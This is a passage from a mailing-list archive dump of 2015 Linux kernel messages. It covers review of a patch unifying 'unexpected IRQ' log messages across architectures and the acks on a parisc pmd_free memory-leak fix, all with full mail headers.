	Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Jul 13 05:23:08 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1ZEUKh-0007LR-PD
	for glpm-linux-m68k@plane.gmane.org; Mon, 13 Jul 2015 05:23:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752054AbbGMDXG (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Sun, 12 Jul 2015 23:23:06 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:39323 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751615AbbGMDXG (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
	Sun, 12 Jul 2015 23:23:06 -0400
Original-Received: by ozlabs.org (Postfix, from userid 1034)
	id D49801402B1; Mon, 13 Jul 2015 13:23:03 +1000 (AEST)
In-Reply-To: <20150712220211.7166.42035.stgit@bhelgaas-glaptop2.roam.corp.google.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7328 gmane.linux.kernel.cross-arch:28346 gmane.linux.ports.mips.general:49366 gmane.linux.ports.ia64:25577 gmane.linux.ports.parisc:25828 gmane.linux.ports.sh.devel:47151 gmane.linux.kernel:1994426 gmane.linux.ports.alpha:3191 gmane.linux.ports.ppc64.devel:115134
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7328>

On Sun, 2015-12-07 at 22:02:11 UTC, Bjorn Helgaas wrote:
> Many architectures use a variant of "unexpected IRQ trap at vector %x" to
> log unexpected IRQs.  This is confusing because (a) it prints the Linux IRQ
> number, but "vector" more often refers to a CPU vector number, and (b) it
> prints the IRQ number in hex with no base indication, while Linux IRQ
> numbers are usually printed in decimal.
> 
> Print the same text ("unexpected IRQ %d") across all architectures.
> 
> No functional change other than the output text.

There's already a fallback version in asm-generic, so shouldn't you instead
just delete all the versions that are identical to that?

eg. on powerpc we have:

>  static inline void ack_bad_irq(unsigned int irq)
>  {
> -	printk(KERN_CRIT "unexpected IRQ trap at vector %02x\n", irq);
> +	printk(KERN_CRIT "unexpected IRQ %d\n", irq);
>  }

And the generic version is:

>  #ifndef ack_bad_irq
>  static inline void ack_bad_irq(unsigned int irq)
>  {
> -	printk(KERN_CRIT "unexpected IRQ trap at vector %02x\n", irq);
> +	printk(KERN_CRIT "unexpected IRQ %d\n", irq);
>  }
>  #endif

So we can just delete the powerpc version?

cheers

From - Thu Nov 08 21:37:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 3/3] IRQ: Print "unexpected IRQ" messages consistently
 across architectures
Date: Mon, 13 Jul 2015 09:14:42 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <CAMuHMdWW3uHLm=rwQ8cmhxGff8vwFDx7_-eSmiy3dndpDKk35Q@mail.gmail.com>
References: <20150712215559.7166.33068.stgit@bhelgaas-glaptop2.roam.corp.google.com>
	<20150712220211.7166.42035.stgit@bhelgaas-glaptop2.roam.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1436771690 7153 80.91.229.3 (13 Jul 2015 07:14:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jul 2015 07:14:50 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
	Linux-Arch <linux-arch@vger.kernel.org>,
	Linux MIPS Mailing List <linux-mips@linux-mips.org>,
	"moderated list:PANASONIC MN10300..." <linux-am33-list@redhat.com>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	linux-c6x-dev@linux-c6x.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	"adi-buildroot-devel@lists.sourceforge.net" 
	<adi-buildroot-devel@lists.sourceforge.net>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	alpha <linux-alpha@vger.kernel.org>,
	"the arch/x86 maintainers" <x86@kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-sh-owner@vger.kernel.org Mon Jul 13 09:14:48 2015
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1ZEXwt-00056X-Pp
	for glps-linuxsh-dev@plane.gmane.org; Mon, 13 Jul 2015 09:14:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751822AbbGMHOq (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Mon, 13 Jul 2015 03:14:46 -0400
Original-Received: from mail-oi0-f48.google.com ([209.85.218.48]:33665 "EHLO
	mail-oi0-f48.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751214AbbGMHOn (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Mon, 13 Jul 2015 03:14:43 -0400
Original-Received: by oiyy130 with SMTP id y130so247887204oiy.0;
        Mon, 13 Jul 2015 00:14:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=3P7fOsl13nMBjqfNiiX3RuhvTgQbJu69vSXdLWBq1uU=;
        b=lSI9bswGDHxgGdWhjaekvO7I8M3JMPKRoppWW2XhPzveDbdxfD569vbMPEHw5zQ6ak
         qvXOsmLToHgTB09AH6BOqzKQn97AEPbXz8MDF3KzK/YG1W/uTNYERxFJ4GeUXZzCI+CZ
         z29oIXKHGSxX72GmU8yrGgkLGNVPOyhlsqhi7iWosNIJgX7qIkRTYO/9SabBx03PmtV5
         C/V0UjOYAOdAx5hvvxL31POE0S4JpfcUsREhKknWIn0oNzv8nvcw5zgKuXE7egrY7hrP
         tR3fuUNixPBr3oNMYqwU3hV6oCuUd7Y/LupdRszmnsF62VJwGsYT2xHEkdE2VzFE5TV7
         FHdw==
X-Received: by 10.182.196.72 with SMTP id ik8mr29035273obc.36.1436771682739;
 Mon, 13 Jul 2015 00:14:42 -0700 (PDT)
Original-Received: by 10.60.168.5 with HTTP; Mon, 13 Jul 2015 00:14:42 -0700 (PDT)
In-Reply-To: <20150712220211.7166.42035.stgit@bhelgaas-glaptop2.roam.corp.google.com>
X-Google-Sender-Auth: 7R0N7i4z0f4c4ksmekqFkKUYq28
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:47160 gmane.linux.kernel.cross-arch:28347 gmane.linux.ports.mips.general:49367 gmane.linux.ports.ia64:25578 gmane.linux.ports.parisc:25829 gmane.linux.kernel:1994494 gmane.linux.ports.alpha:3192 gmane.linux.ports.ppc64.devel:115140
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/47160>

On Mon, Jul 13, 2015 at 12:02 AM, Bjorn Helgaas <bhelgaas@google.com> wrote:
> Many architectures use a variant of "unexpected IRQ trap at vector %x" to
> log unexpected IRQs.  This is confusing because (a) it prints the Linux IRQ
> number, but "vector" more often refers to a CPU vector number, and (b) it
> prints the IRQ number in hex with no base indication, while Linux IRQ
> numbers are usually printed in decimal.
>
> Print the same text ("unexpected IRQ %d") across all architectures.
>
> No functional change other than the output text.
>
> Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
> ---

Thanks!

>  arch/m68k/include/asm/hardirq.h    |    2 +-

For m68k:
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>

And it looks like m68k can switch to the asm-generic version afterwards...

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christophe JAILLET <christophe.jaillet@wanadoo.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: [PATCH] parisc: mm: Fix a memory leak related to pmd not attached to the pgd
Date: Mon, 13 Jul 2015 11:32:43 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <1436779963-4286-1-git-send-email-christophe.jaillet@wanadoo.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1436780012 7088 80.91.229.3 (13 Jul 2015 09:33:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jul 2015 09:33:32 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	kernel-janitors@vger.kernel.org,
	Christophe JAILLET <christophe.jaillet@wanadoo.fr>
To: jejb@parisc-linux.org, deller@gmx.de, mpatocka@redhat.com,
	kirill.shutemov@linux.intel.com
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 13 11:33:19 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZEa6x-0001Ew-BS
	for glk-linux-kernel-3@plane.gmane.org; Mon, 13 Jul 2015 11:33:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751803AbbGMJdJ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 13 Jul 2015 05:33:09 -0400
Original-Received: from smtp03.smtpout.orange.fr ([80.12.242.125]:46447 "EHLO
	smtp.smtpout.orange.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751031AbbGMJdH (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 13 Jul 2015 05:33:07 -0400
Original-Received: from localhost.localdomain ([92.140.160.103])
	by mwinf5d26 with ME
	id rlZ11q00N2E8xV003lZ2hF; Mon, 13 Jul 2015 11:33:04 +0200
X-ME-Helo: localhost.localdomain
X-ME-Auth: Y2hyaXN0b3BoZS5qYWlsbGV0QHdhbmFkb28uZnI=
X-ME-Date: Mon, 13 Jul 2015 11:33:04 +0200
X-ME-IP: 92.140.160.103
X-Mailer: git-send-email 2.1.4
X-Antivirus: avast! (VPS 150712-1, 12/07/2015), Outbound message
X-Antivirus-Status: Clean
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1994595 gmane.linux.ports.parisc:25830 gmane.linux.kernel.janitors:34809
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1994595>

Commit 0e0da48dee8d ("parisc: mm: don't count preallocated pmds")
introduced a memory leak.

After this commit, the 'return' statement in pmd_free is executed in all
cases. Even for pmd that are not attached to the pgd.
So 'free_pages' can never be called anymore, leading to a memory leak.

Signed-off-by: Christophe JAILLET <christophe.jaillet@wanadoo.fr>
---
This patch is *untested* as I don't have the hardware to test it.

This is just a guess based on the indentation, the comment in the code
and the commit log.
---
 arch/parisc/include/asm/pgalloc.h | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
index 3a08eae..f66d3738 100644
--- a/arch/parisc/include/asm/pgalloc.h
+++ b/arch/parisc/include/asm/pgalloc.h
@@ -72,7 +72,7 @@ static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
 
 static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 {
-	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
+	if (pmd_flag(*pmd) & PxD_FLAG_ATTACHED) {
 		/*
 		 * This is the permanent pmd attached to the pgd;
 		 * cannot free it.
@@ -81,6 +81,7 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 		 */
 		mm_inc_nr_pmds(mm);
 		return;
+	}
 	free_pages((unsigned long)pmd, PMD_ORDER);
 }
 
-- 
2.1.4


From - Thu Nov 08 21:37:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: RE: [PATCH] parisc: mm: Fix a memory leak related to pmd not attached
 to the pgd
Date: Mon, 13 Jul 2015 12:46:25 +0300 (EEST)
Lines: 50
Approved: news@gmane.org
Message-ID: <20150713094625.79B6EA4@black.fi.intel.com>
References: <1436779963-4286-1-git-send-email-christophe.jaillet@wanadoo.fr>
NNTP-Posting-Host: plane.gmane.org
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1436780801 20086 80.91.229.3 (13 Jul 2015 09:46:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jul 2015 09:46:41 +0000 (UTC)
Cc: jejb@parisc-linux.org, deller@gmx.de, mpatocka@redhat.com,
	kirill.shutemov@linux.intel.com, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kernel-janitors@vger.kernel.org,
	Christophe JAILLET <christophe.jaillet@wanadoo.fr>
To: Christophe JAILLET <christophe.jaillet@wanadoo.fr>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 13 11:46:40 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZEaJq-0006qA-Q3
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Jul 2015 11:46:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752306AbbGMJqb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Jul 2015 05:46:31 -0400
Original-Received: from mga01.intel.com ([192.55.52.88]:7743 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751658AbbGMJq3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Jul 2015 05:46:29 -0400
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga101.fm.intel.com with ESMTP; 13 Jul 2015 02:46:28 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.15,462,1432623600"; 
   d="scan'208";a="761360677"
Original-Received: from black.fi.intel.com ([10.237.72.82])
  by fmsmga002.fm.intel.com with ESMTP; 13 Jul 2015 02:46:26 -0700
Original-Received: by black.fi.intel.com (Postfix, from userid 1000)
	id 79B6EA4; Mon, 13 Jul 2015 12:46:25 +0300 (EEST)
In-Reply-To: <1436779963-4286-1-git-send-email-christophe.jaillet@wanadoo.fr>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25831 gmane.linux.kernel:1994616 gmane.linux.kernel.janitors:34810
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25831>

Christophe JAILLET wrote:
> Commit 0e0da48dee8d ("parisc: mm: don't count preallocated pmds")
> introduced a memory leak.
> 
> After this commit, the 'return' statement in pmd_free is executed in all
> cases. Even for pmd that are not attached to the pgd.
> So 'free_pages' can never be called anymore, leading to a memory leak.
> 
> Signed-off-by: Christophe JAILLET <christophe.jaillet@wanadoo.fr>

Acked-by: Kirill A. Shutemov <kirill.shutemov@linux.intel.com>

> ---
> This patch is *untested* as I don't have the hardware to test it.
> 
> This is just a guess based on the indentation, the comment in the code
> and the commit log.
> ---
>  arch/parisc/include/asm/pgalloc.h | 3 ++-
>  1 file changed, 2 insertions(+), 1 deletion(-)
> 
> diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
> index 3a08eae..f66d3738 100644
> --- a/arch/parisc/include/asm/pgalloc.h
> +++ b/arch/parisc/include/asm/pgalloc.h
> @@ -72,7 +72,7 @@ static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
>  
>  static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
>  {
> -	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
> +	if (pmd_flag(*pmd) & PxD_FLAG_ATTACHED) {
>  		/*
>  		 * This is the permanent pmd attached to the pgd;
>  		 * cannot free it.
> @@ -81,6 +81,7 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
>  		 */
>  		mm_inc_nr_pmds(mm);
>  		return;
> +	}
>  	free_pages((unsigned long)pmd, PMD_ORDER);
>  }
>  
> -- 
> 2.1.4
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: Re: [PATCH] parisc: mm: Fix a memory leak related to pmd not attached
 to the pgd
Date: Mon, 13 Jul 2015 08:48:49 -0400 (EDT)
Lines: 57
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1507130846400.9026@file01.intranet.prod.int.rdu2.redhat.com>
References: <1436779963-4286-1-git-send-email-christophe.jaillet@wanadoo.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1436791747 1809 80.91.229.3 (13 Jul 2015 12:49:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jul 2015 12:49:07 +0000 (UTC)
Cc: jejb@parisc-linux.org, deller@gmx.de,
	kirill.shutemov@linux.intel.com, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kernel-janitors@vger.kernel.org
To: Christophe JAILLET <christophe.jaillet@wanadoo.fr>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 13 14:49:00 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZEdAE-0007hr-8k
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Jul 2015 14:48:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751180AbbGMMsx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Jul 2015 08:48:53 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:48326 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751019AbbGMMsw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Jul 2015 08:48:52 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (Postfix) with ESMTPS id 9A99BB6697;
	Mon, 13 Jul 2015 12:48:51 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t6DCmoIo003797
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Mon, 13 Jul 2015 08:48:50 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id t6DCmoqN011324;
	Mon, 13 Jul 2015 08:48:50 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id t6DCmnwc011320;
	Mon, 13 Jul 2015 08:48:49 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <1436779963-4286-1-git-send-email-christophe.jaillet@wanadoo.fr>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25832 gmane.linux.kernel:1994744 gmane.linux.kernel.janitors:34811
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25832>



On Mon, 13 Jul 2015, Christophe JAILLET wrote:

> Commit 0e0da48dee8d ("parisc: mm: don't count preallocated pmds")
> introduced a memory leak.
> 
> After this commit, the 'return' statement in pmd_free is executed in all
> cases. Even for pmd that are not attached to the pgd.
> So 'free_pages' can never be called anymore, leading to a memory leak.
> 
> Signed-off-by: Christophe JAILLET <christophe.jaillet@wanadoo.fr>

Acked-by: Mikulas Patocka <mpatocka@redhat.com>

also add this, so that it is backported to 4.0 and 4.2:
Cc: stable@vger.kernel.org	# 4.0+
Fixes: 0e0da48dee8d

> ---
> This patch is *untested* as I don't have the hardware to test it.
> 
> This is just a guess based on the indentation, the comment in the code
> and the commit log.
> ---
>  arch/parisc/include/asm/pgalloc.h | 3 ++-
>  1 file changed, 2 insertions(+), 1 deletion(-)
> 
> diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
> index 3a08eae..f66d3738 100644
> --- a/arch/parisc/include/asm/pgalloc.h
> +++ b/arch/parisc/include/asm/pgalloc.h
> @@ -72,7 +72,7 @@ static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
>  
>  static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
>  {
> -	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
> +	if (pmd_flag(*pmd) & PxD_FLAG_ATTACHED) {
>  		/*
>  		 * This is the permanent pmd attached to the pgd;
>  		 * cannot free it.
> @@ -81,6 +81,7 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
>  		 */
>  		mm_inc_nr_pmds(mm);
>  		return;
> +	}
>  	free_pages((unsigned long)pmd, PMD_ORDER);
>  }
>  
> -- 
> 2.1.4
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [3/3] IRQ: Print "unexpected IRQ" messages consistently across architectures
Date: Mon, 13 Jul 2015 13:35:09 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <CAErSpo52Kk0c=1UHQzxntJc3ph_CX8vcY+QdULBKv-HGUHBK9Q@mail.gmail.com>
References: <20150712220211.7166.42035.stgit@bhelgaas-glaptop2.roam.corp.google.com>
 <20150713032303.D49801402B1@ozlabs.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1436812543 25932 80.91.229.3 (13 Jul 2015 18:35:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jul 2015 18:35:43 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
	Linux-Arch <linux-arch@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	linux-am33-list@redhat.com,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	adi-buildroot-devel@lists.sourceforge.net,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-m68k@lists.linux-m68k.org, linux-alpha@vger.kernel.org,
	"x86@kernel.org" <x86@kernel.org>,
	linuxppc-dev <linuxppc-dev@lists.ozlabs.org>
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jul 13 20:35:42 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1ZEiZi-00026e-Jg
	for glka-linux-arch@plane.gmane.org; Mon, 13 Jul 2015 20:35:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752229AbbGMSfc (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 13 Jul 2015 14:35:32 -0400
Original-Received: from mail-wi0-f181.google.com ([209.85.212.181]:34534 "EHLO
	mail-wi0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752139AbbGMSfb (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Mon, 13 Jul 2015 14:35:31 -0400
Original-Received: by wibud3 with SMTP id ud3so37187317wib.1
        for <linux-arch@vger.kernel.org>; Mon, 13 Jul 2015 11:35:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=mNz0sbM31F25o3BT2ZvjVjjSJUkp6GLmqTPCWr+eQYA=;
        b=YyDVY5iB7mP61wgPFSvY3RWVrzHI9XjPgw+1egLn2Lo5sT4D4cLVgYZ8DYiyhR+6aw
         H8crkJ+dm9On4DkeiNCJk6GTUuGoM6K/jaKI+yA1Gv/p4i9Aju2OZpxKlOjBgUXqUl3F
         IYpU9DpjKR3HjYpDgJsa9MRgjZnM9iLSMtgSCS7MWftdkIgGl526wRe9XxaqbpN342Ef
         HEpwVy7oAcbNYkufsJiTZ6HxD8CkYv/+XF+U63TL9ZU14Y+bkaAYCYxbs60P7gb2zbUS
         Z8zTbh0qZ+o0lmdvSTAhmF6hFanpRLSAU0VkmLMlh64LmTdPi/a5HRNopmNuhOVJu9jv
         mEZg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type;
        bh=mNz0sbM31F25o3BT2ZvjVjjSJUkp6GLmqTPCWr+eQYA=;
        b=mCXcPZU25ARQzfH7fzxnlhMuEGXxjMtiRIwcJoi4D1k8He3+W2euR/NHNBwq72Wp7D
         JhWkiPOHtdRGFUSqmr6s7Snr6KNPtk4mfrkMCp3HwhbtCsQs11Kry2oGyk/LiSsqMCjU
         GYYsCgyOJ3elDvKpeD5IglMFFvf8pXk5oQtw1iSyaa3xX33KaQIYOFvg6625Re58t5VG
